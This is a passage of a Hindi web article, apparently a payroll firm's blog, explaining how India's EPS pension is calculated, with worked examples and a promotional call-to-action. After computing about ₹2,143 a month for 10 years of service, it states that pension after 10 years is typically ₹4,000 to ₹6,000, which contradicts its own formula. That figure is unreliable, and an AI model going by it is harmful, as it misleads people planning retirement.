\u0932\u0947\u0928\u0947 \u0915\u093e \u0935\u093f\u0915\u0932\u094d\u092a \u092d\u0940 \u0939\u0948, \u0932\u0947\u0915\u093f\u0928 \u092a\u0947\u0902\u0936\u0928 \u0930\u093e\u0936\u093f \u0915\u092e \u0939\u094b \u091c\u093e\u0924\u0940 \u0939\u0948 (58 \u0935\u0930\u094d\u0937 \u0938\u0947 \u0915\u092e \u092a\u094d\u0930\u0924\u094d\u092f\u0947\u0915 \u0935\u0930\u094d\u0937 \u0915\u0947 \u0932\u093f\u090f 4% \u0915\u0940 \u0915\u092e\u0940)\u0964<\/li>\n\n\n\n<li><strong>\u0905\u0927\u093f\u0915\u0924\u092e<\/strong><strong> <\/strong><strong>\u092a\u0947\u0902\u0936\u0928<\/strong><strong>:<\/strong> \u0935\u0930\u094d\u0924\u092e\u093e\u0928 \u0935\u0947\u0924\u0928 \u0938\u0940\u092e\u093e \u0914\u0930 \u0905\u0927\u093f\u0915\u0924\u092e 35 \u0935\u0930\u094d\u0937 \u0915\u0940 \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u0917\u094d\u092f \u0938\u0947\u0935\u093e \u0915\u094b \u0926\u0947\u0916\u0924\u0947 \u0939\u0941\u090f, \u0908\u092a\u0940\u090f\u0938 \u0915\u0947 \u092e\u093e\u0927\u094d\u092f\u092e \u0938\u0947 \u0935\u0930\u094d\u0924\u092e\u093e\u0928 \u092e\u0947\u0902 \u0905\u0930\u094d\u091c\u093f\u0924 \u0915\u0940 \u091c\u093e \u0938\u0915\u0928\u0947 \u0935\u093e\u0932\u0940 \u0905\u0927\u093f\u0915\u0924\u092e \u092e\u093e\u0938\u093f\u0915 \u092a\u0947\u0902\u0936\u0928 \u20b97,500 \u0939\u0948 (15,000 x 35 \/ 70)\u0964<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%89%E0%A4%A6%E0%A4%BE%E0%A4%B9%E0%A4%B0%E0%A4%A3_%E0%A4%97%E0%A4%A3%E0%A4%A8%E0%A4%BE\"><\/span><strong>\u0909\u0926\u093e\u0939\u0930\u0923<\/strong><strong> <\/strong><strong>\u0917\u0923\u0928\u093e<\/strong><strong>:<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>\u092e\u093e\u0928 \u0932\u0940\u091c\u093f\u090f \u0915\u093f \u092a\u093f\u091b\u0932\u0947 60 \u092e\u0939\u0940\u0928\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0906\u092a\u0915\u093e \u0914\u0938\u0924 \u0935\u0947\u0924\u0928 \u20b920,000 \u0939\u0948, \u0932\u0947\u0915\u093f\u0928 \u092a\u0947\u0902\u0936\u0928 \u0917\u0923\u0928\u093e \u0915\u0947 \u0932\u093f\u090f, \u0907\u0938\u0947 \u0935\u0947\u0924\u0928 \u0938\u0940\u092e\u093e \u0915\u0947 \u0915\u093e\u0930\u0923 \u20b915,000 \u092e\u093e\u0928\u093e \u091c\u093e\u090f\u0917\u093e\u0964 \u092f\u0926\u093f \u0906\u092a\u0915\u0940 \u0915\u0941\u0932 \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u0917\u094d\u092f \u0938\u0947\u0935\u093e 30 \u0935\u0930\u094d\u0937 \u0939\u0948, \u0924\u094b \u0906\u092a\u0915\u0940 \u092e\u093e\u0938\u093f\u0915 \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0917\u0923\u0928\u093e \u0907\u0938 \u092a\u094d\u0930\u0915\u093e\u0930 \u0915\u0940 \u091c\u093e\u090f\u0917\u0940:<\/p>\n\n\n\n<p>\u092e\u093e\u0938\u093f\u0915 \u092a\u0947\u0902\u0936\u0928 = (\u20b915,000 x 30) \/ 70 = \u20b96,428.57 (\u0932\u0917\u092d\u0917)<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%89%E0%A4%9A%E0%A5%8D%E0%A4%9A_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8\"><\/span><strong>\u0909\u091a\u094d\u091a<\/strong><strong> <\/strong><strong>\u092a\u0947\u0902\u0936\u0928<\/strong><strong>:<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>\u0938\u0930\u094d\u0935\u094b\u091a\u094d\u091a \u0928\u094d\u092f\u093e\u092f\u093e\u0932\u092f \u0915\u0947 \u090f\u0915 \u092b\u0948\u0938\u0932\u0947 \u0915\u0947 \u092c\u093e\u0926, \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0947 \u092a\u093e\u0938 \u0905\u092c \u0905\u092a\u0928\u0947 \u0935\u093e\u0938\u094d\u0924\u0935\u093f\u0915 \u0935\u0947\u0924\u0928 (\u0935\u0947\u0924\u0928 \u0938\u0940\u092e\u093e \u0938\u0947 \u090a\u092a\u0930) \u0915\u0947 \u0906\u0927\u093e\u0930 \u092a\u0930 \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u0930\u0928\u0947 \u0914\u0930 \u0909\u091a\u094d\u091a \u092a\u0947\u0902\u0936\u0928 \u092a\u094d\u0930\u093e\u092a\u094d\u0924 \u0915\u0930\u0928\u0947 \u0915\u093e \u0935\u093f\u0915\u0932\u094d\u092a \u0939\u0948\u0964 \u092f\u0926\u093f \u0906\u092a\u0928\u0947 \u092f\u0939 \u0935\u093f\u0915\u0932\u094d\u092a \u091a\u0941\u0928\u093e \u0939\u0948, \u0924\u094b \u0938\u0942\u0924\u094d\u0930 \u092e\u0947\u0902 &#8220;\u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u0917\u094d\u092f \u0935\u0947\u0924\u0928&#8221; \u092a\u093f\u091b\u0932\u0947 60 \u092e\u0939\u0940\u0928\u094b\u0902 \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u0906\u092a\u0915\u093e \u0935\u093e\u0938\u094d\u0924\u0935\u093f\u0915 \u0914\u0938\u0924 \u0935\u0947\u0924\u0928 \u0939\u094b\u0917\u093e\u0964<\/p>\n\n\n\n<p><em>\u0928\u094b\u091f:\u0905\u092a\u0928\u0940\u0935\u093f\u0936\u093f\u0937\u094d\u091f\u091c\u093e\u0928\u0915\u093e\u0930\u0940\u0914\u0930\u0928\u0935\u0940\u0928\u0924\u092e\u0928\u093f\u092f\u092e\u094b\u0902\u0915\u0947\u0906\u0927\u093e\u0930\u092a\u0930\u0938\u092c\u0938\u0947\u0938\u091f\u0940\u0915\u0917\u0923\u0928\u093e\u0915\u0947\u0932\u093f\u090f, \u0908\u092a\u0940\u090f\u092b\u0913\u0935\u0947\u092c\u0938\u093e\u0907\u091f\u092a\u0930\u0909\u092a\u0932\u092c\u094d\u0927\u092a\u0947\u0902\u0936\u0928\u0915\u0948\u0932\u0915\u0941\u0932\u0947\u091f\u0930\u0915\u093e\u0909\u092a\u092f\u094b\u0917\u0915\u0930\u0928\u0947\u092f\u093e\u0938\u0940\u0927\u0947\u0908\u092a\u0940\u090f\u092b\u0913\u0938\u0947\u092a\u0930\u093e\u092e\u0930\u094d\u0936\u0915\u0930\u0928\u0947\u0915\u0940\u0938\u0932\u093e\u0939\u0926\u0940\u091c\u093e\u0924\u0940\u0939\u0948\u0964<\/em><\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"10_%E0%A4%B8%E0%A4%BE%E0%A4%B2_%E0%A4%95%E0%A5%80_%E0%A4%B8%E0%A5%87%E0%A4%B5%E0%A4%BE_%E0%A4%AA%E0%A4%B0_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%95%E0%A5%80_%E0%A4%B0%E0%A4%BE%E0%A4%B6%E0%A4%BF\"><\/span><strong>10 \u0938\u093e\u0932 \u0915\u0940 \u0938\u0947\u0935\u093e \u092a\u0930 \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0930\u093e\u0936\u093f:<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>10 \u0938\u093e\u0932 \u0915\u0940 \u0938\u0947\u0935\u093e \u092a\u0942\u0930\u0940 \u0915\u0930\u0928\u0947 \u0915\u0947 \u092c\u093e\u0926 \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0930\u093e\u0936\u093f \u0915\u0940 \u0917\u0923\u0928\u093e \u0928\u093f\u092e\u094d\u0928\u0932\u093f\u0916\u093f\u0924 \u0938\u0942\u0924\u094d\u0930 \u0915\u093e \u0909\u092a\u092f\u094b\u0917 \u0915\u0930\u0915\u0947 \u0915\u0940 \u091c\u093e\u0924\u0940 \u0939\u0948:<\/p>\n\n\n\n<p><strong>\u092e\u093e\u0938\u093f\u0915 \u092a\u0947\u0902\u0936\u0928 \u0930\u093e\u0936\u093f = (\u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u0917\u094d\u092f \u0935\u0947\u0924\u0928 \u00d7 \u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u0917\u094d\u092f \u0938\u0947\u0935\u093e) \/ 70<\/strong><\/p>\n\n\n\n<p>\u092f\u0939\u093e\u0901:<\/p>\n\n\n\n<p>\u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u0917\u094d\u092f \u0935\u0947\u0924\u0928: \u092f\u0939 \u0938\u0947\u0935\u093e\u0928\u093f\u0935\u0943\u0924\u094d\u0924\u093f \u0938\u0947 \u0920\u0940\u0915 \u092a\u0939\u0932\u0947 \u0915\u0947 \u092a\u093f\u091b\u0932\u0947 60 \u092e\u0939\u0940\u0928\u094b\u0902 (5 \u0935\u0930\u094d\u0937) \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u092a\u094d\u0930\u093e\u092a\u094d\u0924 \u0914\u0938\u0924 \u092e\u093e\u0938\u093f\u0915 \u0935\u0947\u0924\u0928 \u0939\u0948, \u091c\u093f\u0938\u0915\u0940 \u0905\u0927\u093f\u0915\u0924\u092e \u0938\u0940\u092e\u093e \u0935\u0930\u094d\u0924\u092e\u093e\u0928 \u092e\u0947\u0902 \u20b915,000 \u092a\u094d\u0930\u0924\u093f \u092e\u093e\u0939 \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u092a\u0947\u0902\u0936\u0928 \u092f\u094b\u0917\u094d\u092f \u0938\u0947\u0935\u093e: \u092f\u0939 \u0906\u092a\u0915\u0947 \u0926\u094d\u0935\u093e\u0930\u093e \u0908\u092a\u0940\u090f\u092b \u0914\u0930 \u0908\u092a\u0940\u090f\u0938 \u092e\u0947\u0902 \u0915\u093f\u090f \u0917\u090f \u0915\u0941\u0932 \u0935\u0930\u094d\u0937\u094b\u0902 \u0915\u0940 \u0938\u0947\u0935\u093e \u0939\u0948\u0964 \u0907\u0938 \u092e\u093e\u092e\u0932\u0947 \u092e\u0947\u0902, \u092f\u0939 10 \u0935\u0930\u094d\u0937 \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u0907\u0938\u0932\u093f\u090f, 10 \u0938\u093e\u0932 \u0915\u0940 \u0938\u0947\u0935\u093e \u092a\u0930 \u0906\u092a\u0915\u0940 \u0905\u0928\u0941\u092e\u093e\u0928\u093f\u0924 \u092e\u093e\u0938\u093f\u0915 \u092a\u0947\u0902\u0936\u0928 \u0930\u093e\u0936\u093f \u0907\u0938 \u092a\u094d\u0930\u0915\u093e\u0930 \u0939\u094b\u0917\u0940:<\/p>\n\n\n\n<p><em>\u092e\u093e\u0938\u093f\u0915 \u092a\u0947\u0902\u0936\u0928 \u0930\u093e\u0936\u093f = (\u20b915,000 \u00d7 10) \/ 70 = \u20b92,142.86 (\u0932\u0917\u092d\u0917)<\/em><\/p>\n\n\n\n<p>\u0915\u0941\u091b \u092e\u0939\u0924\u094d\u0935\u092a\u0942\u0930\u094d\u0923 \u092c\u093e\u0924\u0947\u0902:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092f\u0939 \u0917\u0923\u0928\u093e \u0935\u0930\u094d\u0924\u092e\u093e\u0928 \u0935\u0947\u0924\u0928 \u0938\u0940\u092e\u093e \u20b915,000 \u092a\u0930 \u0906\u0927\u093e\u0930\u093f\u0924 \u0939\u0948\u0964 \u092f\u0926\u093f \u0906\u092a\u0915\u0940 \u0935\u093e\u0938\u094d\u0924\u0935\u093f\u0915 \u0914\u0938\u0924 \u0935\u0947\u0924\u0928 \u0907\u0938\u0938\u0947 \u0915\u092e \u0939\u0948, \u0924\u094b \u092a\u0947\u0902\u0936\u0928 \u0930\u093e\u0936\u093f \u0914\u0930 \u092d\u0940 \u0915\u092e \u0939\u094b\u0917\u0940\u0964<\/li>\n\n\n\n<li>\u092a\u0947\u0902\u0936\u0928 \u0915\u0947 \u0932\u093f\u090f \u092a\u093e\u0924\u094d\u0930 \u0939\u094b\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0928\u094d\u092f\u0942\u0928\u0924\u092e 10 \u0935\u0930\u094d\u0937 \u0915\u0940 \u0938\u0947\u0935\u093e \u0906\u0935\u0936\u094d\u092f\u0915 \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u092a\u0947\u0902\u0936\u0928 58 \u0935\u0930\u094d\u0937 \u0915\u0940 \u0906\u092f\u0941 \u0915\u0947 \u092c\u093e\u0926 \u0939\u0940 \u0936\u0941\u0930\u0942 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964 \u092f\u0926\u093f \u0906\u092a 50 \u0938\u0947 58 \u0935\u0930\u094d\u0937 \u0915\u0940 \u0906\u092f\u0941 \u0915\u0947 \u092c\u0940\u091a \u092a\u0939\u0932\u0947 \u092a\u0947\u0902\u0936\u0928 \u0932\u0947\u0924\u0947 \u0939\u0948\u0902, \u0924\u094b \u092a\u0947\u0902\u0936\u0928 \u0930\u093e\u0936\u093f \u0915\u092e \u0939\u094b \u091c\u093e\u090f\u0917\u0940\u0964<\/li>\n<\/ul>\n\n\n\n<p><em>\u092f\u0939 \u090f\u0915 \u0938\u0930\u0932 \u0917\u0923\u0928\u093e \u0939\u0948\u0964 \u0906\u092a\u0915\u0940 \u0935\u093f\u0936\u093f\u0937\u094d\u091f \u092a\u0930\u093f\u0938\u094d\u0925\u093f\u0924\u093f\u092f\u094b\u0902 \u0914\u0930 \u0908\u092a\u0940\u090f\u092b\u0913 \u0915\u0947 \u0928\u093f\u092f\u092e\u094b\u0902 \u0915\u0947 \u0906\u0927\u093e\u0930 \u092a\u0930 \u0935\u093e\u0938\u094d\u0924\u0935\u093f\u0915 \u092a\u0947\u0902\u0936\u0928 \u0930\u093e\u0936\u093f \u0925\u094b\u0921\u093c\u0940 \u092d\u093f\u0928\u094d\u0928 \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948\u0964<\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%BE%E0%A4%AA%E0%A5%8D%E0%A4%A4_%E0%A4%95%E0%A4%B0%E0%A4%A8%E0%A5%87_%E0%A4%95%E0%A5%80_%E0%A4%89%E0%A4%AE%E0%A5%8D%E0%A4%B0\"><\/span><strong>\u092a\u0947\u0902\u0936\u0928 \u092a\u094d\u0930\u093e\u092a\u094d\u0924 \u0915\u0930\u0928\u0947 \u0915\u0940 \u0909\u092e\u094d\u0930:<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u092d\u093e\u0930\u0924 \u092e\u0947\u0902 \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0909\u092e\u094d\u0930 <strong>58 <\/strong><strong>\u0935\u0930\u094d\u0937<\/strong> \u0939\u094b\u0924\u0940 \u0939\u0948, \u0914\u0930 \u0907\u0938 \u0909\u092e\u094d\u0930 \u0915\u0947 \u092c\u093e\u0926 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u094b \u092e\u093e\u0938\u093f\u0915 \u092a\u0947\u0902\u0936\u0928 \u092e\u093f\u0932\u0928\u0940 \u0936\u0941\u0930\u0942 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964 10 \u0938\u093e\u0932 \u0915\u0940 \u0938\u0947\u0935\u093e \u092a\u0942\u0930\u0940 \u0915\u0930\u0928\u0947 \u0915\u0947 \u092c\u093e\u0926 \u092d\u0940 \u092f\u0926\u093f \u0906\u092a 58 \u0935\u0930\u094d\u0937 \u0915\u0940 \u0906\u092f\u0941 \u0924\u0915 \u0915\u093e\u092e \u0915\u0930\u0924\u0947 \u0939\u0948\u0902, \u0924\u094b \u0906\u092a\u0915\u094b \u0928\u093f\u092f\u092e\u093f\u0924 \u092a\u0947\u0902\u0936\u0928 \u092e\u093f\u0932\u0947\u0917\u0940\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"10_%E0%A4%B8%E0%A4%BE%E0%A4%B2_%E0%A4%95%E0%A5%87_%E0%A4%AC%E0%A4%BE%E0%A4%A6_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%95%E0%A5%87_%E0%A4%B2%E0%A4%BF%E0%A4%8F_%E0%A4%B6%E0%A4%B0%E0%A5%8D%E0%A4%A4%E0%A5%87%E0%A4%82\"><\/span><strong>10 \u0938\u093e\u0932 \u0915\u0947 \u092c\u093e\u0926 \u092a\u0947\u0902\u0936\u0928 \u0915\u0947 \u0932\u093f\u090f \u0936\u0930\u094d\u0924\u0947\u0902:<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>\u0915\u092e<\/strong><strong> <\/strong><strong>\u0938\u0947<\/strong><strong> <\/strong><strong>\u0915\u092e<\/strong><strong> 10 <\/strong><strong>\u0938\u093e\u0932<\/strong><strong> <\/strong><strong>\u0915\u0940<\/strong><strong> <\/strong><strong>\u0938\u0947\u0935\u093e<\/strong><strong>:<\/strong> \u0905\u0917\u0930 \u0906\u092a\u0928\u0947 \u0915\u092e \u0938\u0947 \u0915\u092e 10 \u0938\u093e\u0932 \u0924\u0915 \u0915\u093e\u092e \u0915\u093f\u092f\u093e \u0939\u0948 \u0914\u0930 EPS \u092e\u0947\u0902 \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u093f\u092f\u093e \u0939\u0948, \u0924\u094b \u0906\u092a\u0915\u094b \u092a\u0947\u0902\u0936\u0928 \u092e\u093f\u0932\u0928\u093e \u0936\u0941\u0930\u0942 \u0939\u094b \u091c\u093e\u090f\u0917\u093e\u0964<\/li>\n\n\n\n<li><strong>\u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e<\/strong><strong> <\/strong><strong>\u0914\u0930<\/strong><strong> <\/strong><strong>\u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940<\/strong><strong> <\/strong><strong>\u0915\u093e<\/strong><strong> <\/strong><strong>\u092f\u094b\u0917\u0926\u093e\u0928<\/strong><strong>:<\/strong> \u0905\u0917\u0930 \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0914\u0930 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u093e \u0928\u093f\u092f\u092e\u093f\u0924 \u092f\u094b\u0917\u0926\u093e\u0928 EPS \u092e\u0947\u0902 \u0939\u094b\u0924\u093e \u0939\u0948, \u0924\u094b \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0930\u093e\u0936\u093f \u0905\u0927\u093f\u0915 \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948\u0964<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%AC%E0%A4%A2%E0%A4%BC%E0%A4%A8%E0%A5%87_%E0%A4%95%E0%A5%80_%E0%A4%B8%E0%A4%82%E0%A4%AD%E0%A4%BE%E0%A4%B5%E0%A4%A8%E0%A4%BE\"><\/span><strong>\u092a\u0947\u0902\u0936\u0928 \u092c\u0922\u093c\u0928\u0947 \u0915\u0940 \u0938\u0902\u092d\u093e\u0935\u0928\u093e:<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u092c\u094d\u092f\u093e\u091c<\/strong><strong> <\/strong><strong>\u0926\u0930<\/strong><strong>:<\/strong> \u0938\u092e\u092f-\u0938\u092e\u092f \u092a\u0930 \u0938\u0930\u0915\u093e\u0930 \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0926\u0930\u094b\u0902 \u092e\u0947\u0902 \u092a\u0930\u093f\u0935\u0930\u094d\u0924\u0928 \u0915\u0930 \u0938\u0915\u0924\u0940 \u0939\u0948, \u091c\u093f\u0938\u0938\u0947 \u092a\u0947\u0902\u0936\u0928 \u0915\u0940 \u0930\u093e\u0936\u093f \u092e\u0947\u0902 \u092d\u0940 \u092c\u0926\u0932\u093e\u0935 \u0939\u094b \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li><strong>\u0906\u0902\u0936\u093f\u0915<\/strong><strong> <\/strong><strong>\u092a\u0947\u0902\u0936\u0928<\/strong><strong>:<\/strong> \u092f\u0926\u093f \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0947 \u092a\u093e\u0938 \u0915\u092e \u0938\u0947\u0935\u093e \u0905\u0935\u0927\u093f \u0939\u0948 \u092f\u093e \u0909\u0938\u0915\u0940 \u0906\u092f\u0941 50 \u0935\u0930\u094d\u0937 \u0938\u0947 \u0905\u0927\u093f\u0915 \u0939\u094b, \u0924\u094b \u092a\u0947\u0902\u0936\u0928 \u092e\u0947\u0902 \u0906\u0902\u0936\u093f\u0915 \u0930\u0942\u092a \u0938\u0947 \u0915\u091f\u094c\u0924\u0940 \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948\u0964<\/li>\n<\/ul>\n\n\n\n<p>10 \u0938\u093e\u0932 \u0915\u0947 \u092c\u093e\u0926 \u0906\u092a\u0915\u094b \u092a\u094d\u0930\u093e\u092a\u094d\u0924 \u0939\u094b\u0928\u0947 \u0935\u093e\u0932\u0940 \u092a\u0947\u0902\u0936\u0928 \u0930\u093e\u0936\u093f \u0906\u092a\u0915\u0947 \u092f\u094b\u0917\u0926\u093e\u0928, \u0938\u0947\u0935\u093e \u0905\u0935\u0927\u093f, \u0914\u0930 \u0905\u0902\u0924\u093f\u092e \u0935\u0947\u0924\u0928 \u092a\u0930 \u0928\u093f\u0930\u094d\u092d\u0930 \u0915\u0930\u0924\u0940 \u0939\u0948\u0964 \u0938\u093e\u092e\u093e\u0928\u094d\u092f \u0924\u094c\u0930 \u092a\u0930, 10 \u0938\u093e\u0932 \u0924\u0915 \u0915\u0940 \u0938\u0947\u0935\u093e \u0915\u0947 \u092c\u093e\u0926 \u0906\u092a\u0915\u0940 \u092e\u093e\u0938\u093f\u0915 \u092a\u0947\u0902\u0936\u0928 \u20b94,000 \u0938\u0947 \u20b96,000 \u0915\u0947 \u092c\u0940\u091a \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948, \u092f\u0926\u093f \u0906\u092a\u0928\u0947 \u092e\u093e\u0928\u0915 \u0935\u0947\u0924\u0928 \u0914\u0930 \u0938\u0947\u0935\u093e \u0905\u0935\u0927\u093f \u0915\u0947 \u0906\u0927\u093e\u0930 \u092a\u0930 \u092f\u094b\u0917\u0926\u093e\u0928 \u0926\u093f\u092f\u093e \u0939\u0948\u0964 \u0907\u0938\u0947 \u0938\u092e\u091d\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0906\u092a\u0915\u094b \u0905\u092a\u0928\u0947 EPF \u0916\u093e\u0924\u0947 \u0915\u0940 \u092a\u0942\u0930\u0940 \u091c\u093e\u0928\u0915\u093e\u0930\u0940 \u0932\u0947\u0928\u0940 \u0939\u094b\u0917\u0940, \u0914\u0930 \u0938\u092e\u092f-\u0938\u092e\u092f \u092a\u0930 \u0905\u092a\u0928\u0947 \u092a\u0947\u0902\u0936\u0928 \u092b\u0902\u0921 \u0915\u093e \u092e\u0942\u0932\u094d\u092f\u093e\u0902\u0915\u0928 \u0915\u0930\u0928\u093e \u091a\u093e\u0939\u093f\u090f\u0964<\/p>\n\n\n\n<div style=\"max-width: 600px; margin: 40px auto; padding: 24px 20px; background: #fdf2f5; border-radius: 12px; box-shadow: 0 2px 8px rgba(0,0,0,0.06); text-align: center;\">\n  <h2 style=\"color:#a82d4e; margin-bottom:16px;\"><span class=\"ez-toc-section\" id=\"%E0%A4%95%E0%A5%8D%E0%A4%AF%E0%A4%BE_%E0%A4%86%E0%A4%AA_%E0%A4%85%E0%A4%AA%E0%A4%A8%E0%A5%87_%E0%A4%AA%E0%A5%87%E0%A4%B0%E0%A5%8B%E0%A4%B2_%E0%A4%95%E0%A4%BE%E0%A4%B0%E0%A5%8D%E0%A4%AF%E0%A5%8B%E0%A4%82_%E0%A4%95%E0%A5%8B_%E0%A4%86%E0%A4%89%E0%A4%9F%E0%A4%B8%E0%A5%8B%E0%A4%B0%E0%A5%8D%E0%A4%B8_%E0%A4%95%E0%A4%B0%E0%A4%A8%E0%A5%87_%E0%A4%95%E0%A4%BE_%E0%A4%B8%E0%A5%8B%E0%A4%9A_%E0%A4%B0%E0%A4%B9%E0%A5%87_%E0%A4%B9%E0%A5%88%E0%A4%82\"><\/span>\u0915\u094d\u092f\u093e \u0906\u092a \u0905\u092a\u0928\u0947 \u092a\u0947\u0930\u094b\u0932 \u0915\u093e\u0930\u094d\u092f\u094b\u0902 \u0915\u094b \u0906\u0909\u091f\u0938\u094b\u0930\u094d\u0938 \u0915\u0930\u0928\u0947 \u0915\u093e \u0938\u094b\u091a \u0930\u0939\u0947 \u0939\u0948\u0902?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n  <p style=\"font-size:1.08rem; margin-bottom:24px;\">\u0939\u092e\u093e\u0930\u0947 \u092a\u0947\u0930\u094b\u0932 \u0906\u0909\u091f\u0938\u094b\u0930\u094d\u0938\u093f\u0902\u0917 \u0938\u0947\u0935\u093e (Payroll Outsourcing Service) \u0915\u0947 \u0938\u093e\u0925, \u0905\u092a\u0928\u0947 \u0935\u094d\u092f\u093e\u092a\u093e\u0930 \u0915\u094b \u090f\u0915 \u0928\u0908 \u0926\u093f\u0936\u093e \u0926\u0947\u0902\u0964<\/p>\n  <a href=\"https:\/\/www.payrolloutsourcing.co.in\/payroll-outsourcing.php\" style=\"display:inline-block; background:#a82d4e; color:#fff; padding:12px 30px; border-radius:6px; text-decoration:none; font-weight:bold; font-size:1.08rem; letter-spacing:1px; box-shadow:0 2px 6px rgba(0,0,0,0.07); transition: background 0.2s;\">Join us Today<\/a>\n  \n  <p style=\"margin-top:16px; color:#333; font-size:0.97rem;\">\u092f\u093e <\/p>\n  \n    <a href=\"tel:9560792515\" style=\"display:inline-block; background:#a82d4e; color:#fff; padding:12px 30px; border-radius:6px; text-decoration:none; font-weight:bold; font-size:1.08rem; letter-spacing:1px; box-shadow:0 2px 6px rgba(0,0,0,0.07); transition: background 0.2s;\">\u0915\u0949\u0932:+91 9560792515 <\/a>\n  \n  <p style=\"margin-top:16px; color:#333; font-size:0.97rem;\">\u0905\u092a\u0928\u0940 \u092a\u0947\u0930\u094b\u0932 \u092a\u094d\u0930\u0915\u094d\u0930\u093f\u092f\u093e \u0915\u094b \u0938\u0939\u0940 \u092c\u0928\u093e\u090f\u0902!<\/p>\n<\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%BE%E0%A4%87%E0%A4%B5%E0%A5%87%E0%A4%9F_%E0%A4%95%E0%A4%B0%E0%A5%8D%E0%A4%AE%E0%A4%9A%E0%A4%BE%E0%A4%B0%E0%A4%BF%E0%A4%AF%E0%A5%8B%E0%A4%82_%E0%A4%95%E0%A5%80_%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%95%E0%A4%BF%E0%A4%A4%E0%A4%A8%E0%A5%80_%E0%A4%B9%E0%A5%8B%E0%A4%A4%E0%A5%80%E0%A4%B9%E0%A5%88\"><\/span><strong>\u092a\u094d\u0930\u093e\u0907\u0935\u0947\u091f \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0940 \u092a\u0947\u0902\u0936\u0928 \u0915\u093f\u0924\u0928\u0940 \u0939\u094b\u0924\u0940\u0939\u0948?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u092a\u094d\u0930\u093e\u0907\u0935\u0947\u091f \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0940 \u092a\u0947\u0902\u0936\u0928 \u0930\u093e\u0936\u093f \u0935\u093f\u092d\u093f\u0928\u094d\u0928 \u0915\u093e\u0930\u0915\u094b\u0902 \u092a\u0930 \u0928\u093f\u0930\u094d\u092d\u0930 \u0915\u0930\u0924\u0940 \u0939\u0948, \u091c\u0948\u0938\u0947 \u0915\u093f \u0909\u0928\u0915\u0940 \u0938\u0947\u0935\u093e \u0905\u0935\u0927\u093f, \u0905\u0902\u0924\u093f\u092e \u0935\u0947\u0924\u0928, \u0914\u0930 \u0928\u093f\u092f\u094b\u0915\u094d\u0924\u093e \u0926\u094d\u0935\u093e\u0930\u093e \u0915\u093f\u092f\u093e 